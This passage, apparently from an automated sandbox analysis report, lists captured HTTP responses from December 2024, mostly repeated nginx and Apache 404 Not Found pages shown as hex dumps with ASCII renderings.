3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 03 Dec 2024 13:39:35 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 03 Dec 2024 13:39:38 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 03 Dec 2024 13:39:40 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 03 Dec 2024 13:39:43 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingData Raw: 39 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 92<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.6.2Date: Tue, 03 Dec 2024 13:39:51 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 83(HML),I310Q/Qp/K&T$'gd*HN+I-0D7(bTgU!2S>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.6.2Date: Tue, 03 Dec 2024 13:39:53 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 83(HML),I310Q/Qp/K&T$'gd*HN+I-0D7(bTgU!2S>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.6.2Date: Tue, 03 Dec 2024 13:39:56 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 38 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 2a 24 a5 27 e7 e7 e4 17 d9 2a 95 67 64 96 a4 2a 81 8c 48 4e cd 2b 49 2d b2 b3 c9 30 44 37 01 28 62 a3 0f 95 06 d9 05 54 04 e5 e5 a5 67 e6 55 e8 1b ea 99 e9 19 21 ab d0 07 d9 01 32 53 1f ea 3e 00 94 85 eb e4 a8 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 83(HML),I310Q/Qp/K&T$'gd*HN+I-0D7(bTgU!2S>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.6.2Date: Tue, 03 Dec 2024 13:39:58 GMTContent-Type: text/htmlContent-Length: 168Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.6.2</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 03 Dec 2024 13:40:43 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a5f968-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 03 Dec 2024 13:40:45 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a5f968-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 03 Dec 2024 13:40:48 GMTContent-Type: text/htmlContent-Length: 148Connection: closeETag: "66a5f968-94"Data Raw: 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 03 Dec 2024 13:40:55 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: brData Raw: 62 65 0d 0a a1 d0 09 00 20 06 ad ab 6f 49 73 1d 8c 90 23 de 5c 6f 21 77 77 36 48 26 d1 6c 4a f0 f2 bd 09 4d 88 22 4d a6 a7 3e 17 0c eb b2 4b 9a 7e 14 ca c9 ed 66 2c 5c 14 4c 50 b4 56 12 da 58 d4 d8 43 b7 f1 38 51 86 60 3d 8b 2c cf 71 6e 26 79 b0 bf ce 27 6d 5d 04 f3 3d 64 5e 46 76 7d 41 c3 3c a3 16 13 c8 19 67 85 3f 71 dd 09 9a df 73 27 68 44 b9 69 8d ae 43 40 4d 59 af b0 d5 42 be d3 13 97 eb 0b 6d 47 fc f5 01 ed 35 56 e1 6e a1 0c 74 d7 d3 9f c6 84 22 3c e9 1d 92 e5 f5 65 b0 75 bd c2 b3 b1 37 31 e2 fd 5c 63 ba c0 0d 30 58 56 36 8d 2b ae ff 11 ab c3 a3 05 ca de a4 70 43 70 04 0d 0a 30 0d 0a 0d 0a Data Ascii: be oIs#\o!ww6H&lJM"M>K~f,\LPVXC8Q`=,qn&y'm]=d^Fv}A<g?qs'hDiC@MYBmG5Vnt"<eu71\c0XV6+pCp0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 03 Dec 2024 13:40:58 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: brData Raw: 62 65 0d 0a a1 d0 09 00 20 06 ad ab 6f 49 73 1d 8c 90 23 de 5c 6f 21 77 77 36 48 26 d1 6c 4a f0 f2 bd 09 4d 88 22 4d a6 a7 3e 17 0c eb b2 4b 9a 7e 14 ca c9 ed 66 2c 5c 14 4c 50 b4 56 12 da 58 d4 d8 43 b7 f1 38 51 86 60 3d 8b 2c cf 71 6e 26 79 b0 bf ce 27 6d 5d 04 f3 3d 64 5e 46 76 7d 41 c3 3c a3 16 13 c8 19 67 85 3f 71 dd 09 9a df 73 27 68 44 b9 69 8d ae 43 40 4d 59 af b0 d5 42 be d3 13 97 eb 0b 6d 47 fc f5 01 ed 35 56 e1 6e a1 0c 74 d7 d3 9f c6 84 22 3c e9 1d 92 e5 f5 65 b0 75 bd c2 b3 b1 37 31 e2 fd 5c 63 ba c0 0d 30 58 56 36 8d 2b ae ff 11 ab c3 a3 05 ca de a4 70 43 70 04 0d 0a 30 0d 0a 0d 0a Data Ascii: be oIs#\o!ww6H&lJM"M>K~f,\LPVXC8Q`=,qn&y'm]=d^Fv}A<g?qs'hDiC@MYBmG5Vnt"<eu71\c0XV6+pCp0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 03 Dec 2024 13:41:01 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: brData Raw: 62 65 0d 0a a1 d0 09 00 20 06 ad ab 6f 49 73 1d 8c 90 23 de 5c 6f 21 77 77 36 48 26 d1 6c 4a f0 f2 bd 09 4d 88 22 4d a6 a7 3e 17 0c eb b2 4b 9a 7e 14 ca c9 ed 66 2c 5c 14 4c 50 b4 56 12 da 58 d4 d8 43 b7 f1 38 51 86 60 3d 8b 2c cf 71 6e 26 79 b0 bf ce 27 6d 5d 04 f3 3d 64 5e 46 76 7d 41 c3 3c a3 16 13 c8 19 67 85 3f 71 dd 09 9a df 73 27 68 44 b9 69 8d ae 43 40 4d 59 af b0 d5 42 be d3 13 97 eb 0b 6d 47 fc f5 01 ed 35 56 e1 6e a1 0c 74 d7 d3 9f c6 84 22 3c e9 1d 92 e5 f5 65 b0 75 bd c2 b3 b1 37 31 e2 fd 5c 63 ba c0 0d 30 58 56 36 8d 2b ae ff 11 ab c3 a3 05 ca de a4 70 43 70 04 0d 0a 30 0d 0a 0d 0a Data Ascii: be oIs#\o!ww6H&lJM"M>K~f,\LPVXC8Q`=,qn&y'm]=d^Fv}A<g?qs'hDiC@MYBmG5Vnt"<eu71\c0XV6+pCp0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 03 Dec 2024 13:41:03 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 315Connection: closeVary: Accept-EncodingData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 03 Dec 2024 13:41:10 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 03 Dec 2024 13:41:13 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 03 Dec 2024 13:41:16 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 03 Dec 2024 13:41:18 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.1Date: Tue, 03 Dec 2024 13:41:34 GMTContent-Length: 0Connection: closeX-Rate-Limit-Limit: 5sX-Rate-Limit-Remaining: 19X-Rate-Limit-Reset: 2024-12-03T13:41:39.4849300Z
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 03 Dec 2024 13:41:55 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://conseilnsaftogo.org/wp-json/>; rel="https://api.w.org/"Data Raw: 33 66 30 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 3c 6d 65 74 61 